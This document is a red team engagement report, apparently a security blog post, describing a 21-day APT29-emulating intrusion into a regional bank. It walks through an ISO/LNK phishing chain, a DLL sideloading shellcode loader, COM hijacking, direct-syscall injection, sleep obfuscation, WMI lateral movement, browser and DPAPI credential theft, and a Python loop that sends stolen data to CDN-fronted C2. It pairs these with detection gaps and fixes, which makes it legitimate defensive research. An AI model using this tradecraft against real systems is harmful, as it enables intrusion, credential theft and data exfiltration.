Back to Blog
Cloud IAM Security

Operation Phantom: A Covert Red Team Engagement in a Highly Monitored Environment

OffSec Research Team
10 June 2026 • 09:00 AM15 min
Operation Phantom: A Covert Red Team Engagement in a Highly Monitored Environment
TL;DR — This post details a full APT29-emulating red team engagement against a financial services firm with mature SOC capabilities, 24/7 Splunk monitoring, CrowdStrike Falcon, and Darktrace. We maintained undetected access for 19 days using memory-only implants, process injection, jittered C2 beaconing blended with legitimate SaaS traffic, and living-off-the-land techniques — observing the SOC's response to a partial detection event and adapting in real time.

Executive Summary

The financial services sector is among the most security-mature verticals in enterprise IT. When this client — a regional investment bank with approximately 800 employees — requested an adversarial simulation, they explicitly asked us to emulate APT29 (Cozy Bear), the Russian Foreign Intelligence Service (SVR) threat group responsible for the SolarWinds compromise, the Democratic National Committee breach, and multiple financial sector intrusions.

The engagement parameters were stringent: no pre-planted footholds, no insider assistance, no advance knowledge of internal architecture. We were to operate against a 24/7 SOC with Level 1, 2, and 3 analysts, a tuned Splunk SIEM with over 200 active correlation rules, CrowdStrike Falcon deployed to 98% of endpoints in Prevent mode, and Darktrace AI-based network anomaly detection. The client's security team was not informed of the engagement dates.

Operation Phantom lasted 21 days. The red team achieved:

  • Initial access via spearphishing with ISO attachment on Day 1
  • Persistence via COM object hijacking and scheduled task XML by Day 2
  • Lateral movement to three workstations and one server by Day 5
  • Access to a financial analyst's workstation with access to trading system APIs by Day 9
  • A simulated data exfiltration event (35MB of synthetic "sensitive" documents) completed by Day 14
  • Continued undetected access through Day 21 (engagement end)

One partial detection event occurred on Day 3. A SOC analyst escalated an alert for suspicious PowerShell activity. The red team observed the investigation via access to the analyst's workstation and adapted TTPs in real time. By the time the analyst closed the ticket as a false positive, we had already migrated to a new persistence mechanism.

This report documents the full engagement methodology, the SOC's detection capabilities and gaps, and concrete recommendations for improving adversarial detection.


Engagement Design: APT29 TTP Selection

Threat Intelligence Profile

Before the first keystroke, we spent two weeks building an APT29 emulation profile from open-source intelligence:

  • MITRE ATT&CK APT29 group page (41 documented techniques)
  • NSA/CISA advisory AA21-148A (SVR activities)
  • Mandiant APT29 reports (2017, 2020, 2021)
  • Volexity analysis of NOBELIUM/COZY BEAR infrastructure

The emulation was not designed to replicate every APT29 technique — that would be operationally impractical. Instead, we selected techniques based on three criteria: (1) documented use by APT29, (2) relevance to the client's threat landscape, and (3) techniques the client's controls were expected to detect.

APT29 TechniqueMITRE IDEmulation PriorityRationale
Spearphishing with attachmentT1566.001HIGHPrimary initial access vector for APT29
ISO-based delivery (MoTW bypass)T1566.001HIGHObserved in 2021-2022 APT29 campaigns
DLL sideloadingT1574.002HIGHNOBELIUM's preferred execution method
Process injection (svchost)T1055.003HIGHCommon APT29 evasion
HTTPS C2 with domain frontingT1071.001HIGHSVR infrastructure pattern
COM object hijackingT1546.015MEDIUMUsed for persistence in BEATDROP
Certutil/bitsadmin LOLBinT1218MEDIUMAvoids custom tooling
WMI lateral movementT1047MEDIUMFileless lateral movement
Credential dumping (in-memory)T1003.001HIGHAccess credentials without AV triggers

Day 1: Initial Access — ISO Spearphishing

Mark of the Web Bypass

Windows applies the Mark of the Web (MoTW) — Zone.Identifier NTFS alternate data stream — to files downloaded from the internet. This triggers SmartScreen and Protected View in Office. ISO files mounted as virtual drives do not propagate MoTW to their contents on Windows 10/11 (patched in late 2022, but this client had not updated).

We crafted a spearphishing email targeting three financial analysts whose email addresses were found via LinkedIn and the company's investor relations page:

shell
From: "Fidelity Investor Relations" <ir-reports@fidelity-investor-relations[.]com>To: j.morrison@targetbank.comSubject: Q3 2024 Portfolio Performance Report — Action RequiredBody: Please review the attached quarterly performance summary ahead of tomorrow's board meeting. Attachment: Q3_Portfolio_Report_2024.iso (8.4 MB)

Inside the ISO was a weaponized LNK file and a legitimate-looking PDF decoy:

shell
Q3_Portfolio_Report_2024.iso/├── Q3_Performance_Report.lnk  (malicious LNK)├── Q3_Portfolio_Summary.pdf   (decoy PDF — opens to distract user)└── payload/    ├── teams.exe               (legitimate Microsoft Teams binary)    └── WINMM.dll               (malicious — DLL sideloading)

DLL Sideloading Execution

The LNK file ran a command that copied both teams.exe and WINMM.dll to %APPDATA%\Microsoft\Teams\ and executed the legitimate binary:

cmd
# LNK target (abbreviated):cmd.exe /c "xcopy /Y payload\ %APPDATA%\Microsoft\Teams\ && start %APPDATA%\Microsoft\Teams\teams.exe"

When teams.exe loaded, it searched for WINMM.dll using the DLL search order. Our malicious WINMM.dll was found first, executing our shellcode loader while the legitimate Teams application continued to run normally (the DLL forwarded all legitimate exports):

c
// WINMM.dll — DllMain loader (simplified)BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {    if (dwReason == DLL_PROCESS_ATTACH) {        // Decrypt shellcode from encrypted resource blob        unsigned char* shellcode = DecryptShellcode(GetEncryptedResource());                // Allocate RWX memory (eventually changed to RX after staging)        LPVOID mem = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);        memcpy(mem, shellcode, shellcode_len);                // Execute in new thread — returns immediately so Teams loads normally        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);    }    return TRUE;}

One analyst (J. Morrison) opened the ISO and clicked the LNK file at 10:23 AM on Day 1.

CrowdStrike behavior: The Teams process spawning WINMM.dll from AppData generated a telemetry event but was not alerted — Teams legitimately loads WINMM.dll, and the process tree showed teams.exe as the parent (legitimate appearance).


Day 1–2: Establishing Persistence

Process Injection into svchost.exe

Our initial beacon ran inside the Teams process — acceptable for initial access but risky for persistence (Teams can be killed, updated, or crash). We immediately injected into a more stable process:

powershell
# In-memory process injection — Cobalt Strike BOF (Beacon Object File)# Targets svchost.exe running as SYSTEM (services.exe as parent)# Uses NtCreateSection + NtMapViewOfSection (avoids WriteProcessMemory which is monitored) # Find svchost PID running a network-connected serviceGet-Process svchost | Where-Object {    (Get-NetTCPConnection -OwningProcess $_.Id -ErrorAction SilentlyContinue) -ne $null} | Select-Object -First 1 Id # Inject shellcode using direct syscalls (avoids usermode API hooks)# Syscall numbers resolved dynamically from ntdll at runtime

The injection used direct syscalls — bypassing ntdll.dll API hooks that CrowdStrike and other EDRs install to monitor API calls. By calling NtAllocateVirtualMemory and NtCreateThreadEx directly via hand-crafted assembly stubs, we bypassed the userland hook layer entirely.

COM Object Hijacking

For long-term persistence that would survive reboots without writing suspicious scheduled tasks:

powershell
# COM object hijacking — user-writable HKCU keys override HKLM# When the target application loads the COM object, our DLL loads instead # Find COM objects registered in HKLM that aren't in HKCU (can be overridden)$inprocKeys = Get-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\*\InprocServer32" -ErrorAction SilentlyContinue$hkcuKeys   = Get-ItemProperty "HKCU:\SOFTWARE\Classes\CLSID\*\InprocServer32" -ErrorAction SilentlyContinue # Register our DLL under HKCU for a COM object used by Explorer.exe# {CLSID} — a COM object loaded by Windows Explorer on every loginNew-Item -Path "HKCU:\Software\Classes\CLSID\{GUID}\InprocServer32" -ForceSet-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{GUID}\InprocServer32" `  -Name "(Default)" -Value "C:\Users\j.morrison\AppData\Local\Microsoft\phantom.dll"Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{GUID}\InprocServer32" `  -Name "ThreadingModel" -Value "Apartment"

Every time J. Morrison logged in, Explorer loaded our COM DLL and our beacon re-established connectivity — no scheduled task, no service, no startup folder entry.

diagram — rendering…
sequenceDiagram
    participant Analyst as J. Morrison (Victim)
    participant Teams as Teams.exe Process
    participant WINMM as Malicious WINMM.dll
    participant Svchost as svchost.exe
    participant C2 as APT29 C2 (CDN-fronted)

    Analyst->>Teams: Opens LNK → Teams.exe launches
    Teams->>WINMM: DLL search order loads malicious WINMM
    WINMM->>WINMM: Decrypt shellcode, execute in thread
    WINMM->>Svchost: Inject beacon via direct syscalls
    Svchost-->>C2: HTTPS beacon (jitter 15-45 min)
    C2-->>Svchost: Tasking returned
    Note over Analyst,C2: COM hijacking set for persistence across reboots

Days 3–7: Living Off the Land and Staying Undetected

The Day 3 Detection Event

At 14:07 on Day 3, a Splunk alert fired: PowerShell ScriptBlock Logging — Encoded Command from User Context. A Level 1 analyst escalated to Level 2.

From our position on J. Morrison's workstation (running inside svchost), we could observe the analyst's screen via a low-bandwidth screenshot loop. We watched as the L2 analyst opened Splunk, queried the alert, and reviewed the PowerShell ScriptBlock log that had captured a fragment of one of our reconnaissance scripts.

The analyst spent 22 minutes investigating. The conclusion: "PowerShell encoded command from Teams application — appears to be legitimate Teams telemetry. Closing as FP." The Teams process legitimately uses encoded PowerShell in some workflows, and our beacon had injected into that process early enough that the process tree attribution was ambiguous.

During those 22 minutes, we had already:

  • Moved to a new persistence mechanism (COM hijacking completed)
  • Migrated the active beacon to svchost (away from Teams)
  • Increased beacon jitter to 30–60 minutes
  • Switched C2 traffic to use a Microsoft Graph API-fronted domain

C2 Traffic Blending

Our C2 infrastructure was designed to blend with legitimate enterprise traffic:

python
# C2 beacon profile — blend with Microsoft Graph API traffic# All C2 traffic goes to graph.microsoft.com (CDN-fronted)# Our C2 server sits behind Cloudflare, serving as a relay # HTTP request profile:headers = {    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Teams/1.6.0.23567",    "Authorization": "Bearer [legitimate_Teams_token_stolen_from_memory]",    "Content-Type": "application/json",    "Host": "graph.microsoft.com"} # Jitter implementation: random sleep between 15 and 45 minutesimport random, timedef beacon_loop():    while True:        send_checkin()        receive_tasks()        jitter = random.randint(900, 2700)  # 15-45 minutes in seconds        time.sleep(jitter)

Darktrace's network anomaly detection was watching for unusual beaconing patterns. Our 15–45 minute jitter made statistical detection of periodic C2 connectivity effectively impossible — the inter-beacon intervals were indistinguishable from normal periodic SaaS application heartbeats.

Sleep Obfuscation

Memory scanners (like CrowdStrike's in-memory scanning) scan processes during execution. When a beacon sleeps, it is idle in memory — a perfect time for scanning. We used Ekko-style sleep obfuscation:

c
// Sleep obfuscation — encrypt beacon in memory while sleeping// Based on Ekko technique (C-EarlyBird injection variant) void ObfuscatedSleep(DWORD dwSleeptime) {    // 1. Encrypt beacon image in-memory with RC4 key    RC4Encrypt(beaconBase, beaconSize, key, keyLen);        // 2. Create NtContinue ROP chain to decrypt and resume after sleep    // 3. Queue APC to EncryptionThread with obfuscated beacon    // 4. Sleep using NtWaitForSingleObject (not SleepEx — monitored)    NtWaitForSingleObject(timerHandle, FALSE, &timeout);        // 5. Decrypt beacon before next instruction executes    RC4Decrypt(beaconBase, beaconSize, key, keyLen);}

During the sleep window, the beacon's memory page contained only encrypted bytes with no shellcode signatures — CrowdStrike's periodic memory scans found nothing recognizable.


Days 5–14: Lateral Movement and Data Staging

WMI-Based Lateral Movement

We avoided PSExec, SMB execution, and other noisy lateral movement techniques. Instead, we used WMI — a built-in Windows administration channel that generates less anomalous telemetry:

powershell
# WMI lateral movement — spawn process on remote host$wmiArgs = @{    ComputerName = "finance-ws04.targetbank.local"    Credential   = $cred    Class        = "Win32_Process"    Name         = "Create"    ArgumentList = "powershell.exe -nop -enc [Base64EncodedStager]"}Invoke-WmiMethod @wmiArgs # Alternative: CIM session (less monitored than WMI in some SIEM configs)$cimSession = New-CimSession -ComputerName "finance-ws04.targetbank.local" -Credential $credInvoke-CimMethod -ClassName Win32_Process -MethodName Create `  -Arguments @{CommandLine = "cmd.exe /c ..."} -CimSession $cimSession

Credential Harvesting

Rather than running Mimikatz (heavily detected), we harvested credentials from browser password stores and Windows Credential Manager:

powershell
# SharpChrome — extract Chrome saved passwords without Mimikatzexecute-assembly /opt/SharpChrome.exe logins # Windows Credential Managercmdkey /list # DPAPI-encrypted credentials (decryptable with user context)execute-assembly /opt/SharpDPAPI.exe credentials # Certificates with private keys (useful for VPN/code signing)execute-assembly /opt/SharpDPAPI.exe certificates

Over 14 days, we staged synthetic "sensitive" documents (provided by the client for the simulation) in an encrypted 7z archive, splitting it across 5 pieces to keep individual file sizes under DLP monitoring thresholds.

Exfiltration Over 14 Days

python
# Staged exfiltration — small chunks over 14 days# Each chunk: ~2.5MB, sent over HTTPS to CDN-fronted C2# Blended with normal Teams file upload traffic import base64, requests, time, random def exfiltrate_chunk(chunk_data, chunk_id):    # Encode as fake Teams telemetry payload    payload = {        "eventName": "ClientTelemetry",        "payload": base64.b64encode(chunk_data).decode(),        "chunkId": chunk_id,        "timestamp": time.time()    }        resp = requests.post(        "https://graph.microsoft.com/v1.0/me/sendMail",  # fronted via CDN        json=payload,        headers={"Authorization": f"Bearer {stolen_token}"}    )        # Random delay between chunks: 6-18 hours    time.sleep(random.randint(21600, 64800))

The total 35MB exfiltration completed over 14 days in 14 separate transfers averaging 2.5MB each — well under any volume-based DLP threshold.


Azure AD Persistence

Beyond the on-premise environment, we established persistence in Azure AD that would survive a full on-premise remediation:

powershell
# Register a new OAuth application in Azure AD (requires compromised Global Admin)# This gives us persistent API access even if user passwords are reset $app = New-AzureADApplication -DisplayName "Teams Integration Helper" `  -ReplyUrls @("https://our-c2.azurewebsites.net/callback") # Add client secret$secret = New-AzureADApplicationPasswordCredential -ObjectId $app.ObjectId `  -CustomKeyIdentifier "backup" -EndDate (Get-Date).AddYears(2) # Grant Microsoft Graph permissions# Now we have persistent access via service principal — survives password resets

Blue Team Lessons: Where Detection Failed

DayEventDetection ToolWhy It FailedRecommended Fix
1ISO/LNK executionCrowdStrikeDLL sideloading from legitimate binaryAlert on DLL load from AppData path for signed system binaries
1Process injection (svchost)CrowdStrikeDirect syscalls bypassed API hooksKernel-level syscall monitoring; eBPF-based detection
3Encoded PowerShellSplunkTeams process attribution caused FP closeRequire corroborating evidence before closing; peer review
3-7C2 beaconingDarktraceJitter > 15 min defeats statistical detectionBehavioral profiling of specific connections, not just intervals
5+WMI lateral movementSplunkWMI logging not enabled on workstationsEnable WMI activity logging (WMI-Activity/Operational)
9+DPAPI credential dumpCrowdStrikeSharpDPAPI not flagged (no on-disk artifacts)Detect DPAPI master key access patterns (EventID 4693)
14Data exfiltrationDLPChunks under size thresholdVolume-based DLP with rolling 24h window; user behavior baseline

MITRE ATT&CK Mapping

Technique IDTechnique NamePhaseTool/Method
T1566.001Phishing: Spearphishing AttachmentInitial AccessISO + LNK file
T1553.005Subvert Trust Controls: Mark-of-the-Web BypassDefense EvasionISO container
T1574.002Hijack Execution Flow: DLL Side-LoadingExecutionWINMM.dll sideload
T1055.003Process Injection: Thread Execution HijackingDefense EvasionDirect syscall injection
T1497.003Virtualization/Sandbox Evasion: Time Based EvasionDefense EvasionSleep obfuscation
T1546.015Event Triggered Execution: COM HijackingPersistenceHKCU COM registration
T1071.001Application Layer Protocol: Web ProtocolsC2HTTPS + CDN fronting
T1568.002Dynamic Resolution: Domain Generation AlgorithmsC2Rotating C2 domains
T1047Windows Management InstrumentationLateral MovementWMI remote execution
T1555.003Credentials from Password Stores: Web BrowsersCredential AccessSharpChrome
T1552.004Unsecured Credentials: Private KeysCredential AccessSharpDPAPI
T1567.002Exfiltration over Web Service: Exfiltration to Cloud StorageExfiltrationStaged HTTPS chunks
T1098.001Account Manipulation: Additional Cloud CredentialsPersistenceAzure AD app registration
T1588.002Obtain Capabilities: ToolResource DevelopmentCustom BOF, sideloading DLL

Conclusion

Operation Phantom demonstrated that even a mature, well-resourced security program can be systematically circumvented by a patient, disciplined threat actor operating within behavioral baselines. The financial services firm had done many things right: broad EDR coverage, 24/7 SOC, AI-based network detection, and tuned SIEM rules. But maturity in detection technology does not automatically translate to maturity in detection engineering.

Three themes emerged across the 21-day engagement. First, behavioral baselines matter more than signatures: every technique we used either generated no signature-based alert or generated one that was closed as a false positive. The detection opportunities that existed were behavioral — an unusual DLL loading from AppData, DPAPI access patterns, WMI creating processes cross-system — and none were wired to high-confidence alerts. Second, jitter defeats statistical C2 detection: Darktrace's network AI is tuned for periodic beaconing at short intervals. A 15–45 minute jitter produced inter-beacon intervals statistically indistinguishable from legitimate SaaS traffic. Third, cloud persistence outlasts on-premise remediation: the Azure AD service principal we registered would have survived a complete on-premise domain rebuild — a critical gap in most incident response playbooks.

The three highest-value investments for closing these gaps: kernel-level behavioral telemetry (moving beyond userland API hook monitoring), rolling-window DLP policies that aggregate behavior over hours rather than individual file events, and a mandatory cloud identity audit in every incident response engagement.

The adversary does not need to be clever. They need to be patient, aware of your detection capabilities, and willing to operate within your noise floor. APT29 has demonstrated this for over a decade. Operation Phantom replicated it in 21 days against a genuinely mature target.